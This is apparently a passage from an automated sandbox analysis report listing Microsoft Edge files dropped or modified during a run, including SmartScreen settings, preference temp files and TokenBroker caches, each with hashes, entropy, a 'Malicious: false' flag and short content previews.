Preview:	.........\| .*.\|....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.014788110415494
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXAR/+VYV:YWLSGTt1o9LuLgfGBPAzkVj/T8lwRcy
MD5:	4522F50F348B7AB1E921E321F2103BCC
SHA1:	8002EDC70E3DC0E04B50F05706AF52A2514904FD
SHA-256:	841D73EF9AFE9349F9D61CF689EC2983BA142AB9E50D05C5841F445F5529C7FE
SHA-512:	F4DEC10731F247CF7821077824385E294BB549F768C7F01711FF0AAD765399ADA80166D24F72CFF0E47BC2C3EB5AEE1ED8D8446BC45D5B3D69F658B272990076
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732504001847382}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a1a1ff15-31c6-4716-b5f8-9f7273bb9a5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44988
Entropy (8bit):	6.096018855287864
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWj3i1zNtcWNkZdEi97qGzDlEBFqKJDSgzMMd6qD47d:+/Ps+wsI7yOVNgHpKtSmd6qE7lFoC
MD5:	92760E74EDB52D3064D612AF8750AC29
SHA1:	A5A7A8EF64ABDC7036A6999CC2F8FE70D8B2ACC5
SHA-256:	C6B0B849E276136661EA421940E0FE0067A47CDE84647D444659D57D969EE381
SHA-512:	FEE1960C1CD48FD945336410DC67C5FFD7E326F62109A053689A427390BB751780A76B3713D8DE99D45699D1D51CCCF02E69ED4345AC5BDEE52CE85E41A50CC4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bc1faf50-f50e-4a13-ad11-c821eacc15e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46147
Entropy (8bit):	6.086889433082853
Encrypted:	false
SSDEEP:	768:TMkbJrT8IeQc5dKauY5i1zNtcWNkZdEi97qGzDlEBFqhbB/hoECioAJDSgzMMd64:TMk1rT8H1KBNgHp7/hrFoAtSmd6qE7s
MD5:	6BFCCCF2340573D0A2256E087E7AED52
SHA1:	A7118B1AD5A1281F1DC5D3B8D33D6B5AD3639EA6
SHA-256:	F88D792466E8CBF04F08525AC43FA2596C534816BF2F61FBBF62A920DD127DCA
SHA-512:	50C9348F77AE3C4AE882AA55738AF9F7CB1358CDA6D9CEBA71CEC96E14839DDB41659014EB9CDBD899A033800063F500C5D87BE32884566B84A2AF1E78EB0DE6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376876797342778","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"a6897b40-c195-4000-974d-54564044987f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732403201"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c81ac743-d701-4bb6-8856-67031778b3f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08981346400205
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWwdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn4dkzItSmd6qE7lFoC
MD5:	80D28573E1642145678FAFE349AF0BBF
SHA1:	1055001C561AE6CB2E202E65690A8B766AC5A680
SHA-256:	02EAC57F2700FFB72B6C44D9FE1321D5BF6E72CD4527E97F6FE3A3DF58636ACD
SHA-512:	C2672225286B8F7851EB4DE197B8AA87EB192BA42A573634E6F8242A4338A243B84E38C01D4F3336360F914421472EB89EF848EAFAC368ACD4C092C80617B0F9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e81e9a96-5948-4005-a4c2-68f13da3ee1f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46224
Entropy (8bit):	6.086825258040932
Encrypted:	false
SSDEEP:	768:TMkbJrT8IeQc5A9auY5i1zNtcWNkZdE77qGzDlEBFqhbB/hoECioAJDSgzMMd6qX:TMk1rT8H49BNgC7/hrFoAtSmd6qE7s
MD5:	468B04C41C9AAB24EA8AE60BD59A5100
SHA1:	1D29B5ADDAC899B83FBB257C1AAD88460C534490
SHA-256:	6549CF1DEBF252118C5CFEDDBFAD5F33C788642A08B4D5E6826A8DB32981AA2B
SHA-512:	084BAF66FDBDCB8D98030870CB4C006BC81CC3B16F3B801C40701F279F66ABDF176E2AD97CA3EA458AF37FFE8062249269DD3A033F925CD53211BF9C6B0C2F5D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376876797342778","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"a6897b40-c195-4000-974d-54564044987f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732403201"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.84638759697241
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx0xl9Il8u/cR3GLS6FTkaHXTTEd1rc:mJYp++ThHDTD
MD5:	96F9C67F7AD705D590C2591294E4AE7A
SHA1:	8D678886F20C8D1673058966BDEC02F9606B4BE3
SHA-256:	438E3BB4D44F7660228C356666EA67C3A3897E0980AB80584A0D2EE77B7E975D
SHA-512:	79D30997A10F55E50051268F269E839EE49185F8ACD033FA2388091AFEC6FC58DA010D40E7C8C967574B5504D4E150EF65DAD051B393B473AA3747395BFB23CE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.4.L.v.Q.Q.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.0.m.G.i.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002773398023027
Encrypted:	false
SSDEEP:	96:CYpLml0WKnqQbz0CcxTW1KXjjBaZ1DObandkqx0aQw3z:CwmytquYCcxTW6jBKkadkqx0NOz
MD5:	9D26382AED495F1BECBD98F005199D63
SHA1:	438C7EE9433892975F96D8B4F25AEC59DB95D9C5
SHA-256:	BF2775929F6BF98A9348466B66B10B5998E54F3BAA112684DD4CA603563F24A3
SHA-512:	28583FA9F2F5454F24F5261806230CAF8E6908FAE5F8A59F67DE19A8B58CE9A782DEC34DF5A7CC558DCA317F35AD5B137F9F177C15C487A2EDCE4B2C90F6B32F
Malicious:	false
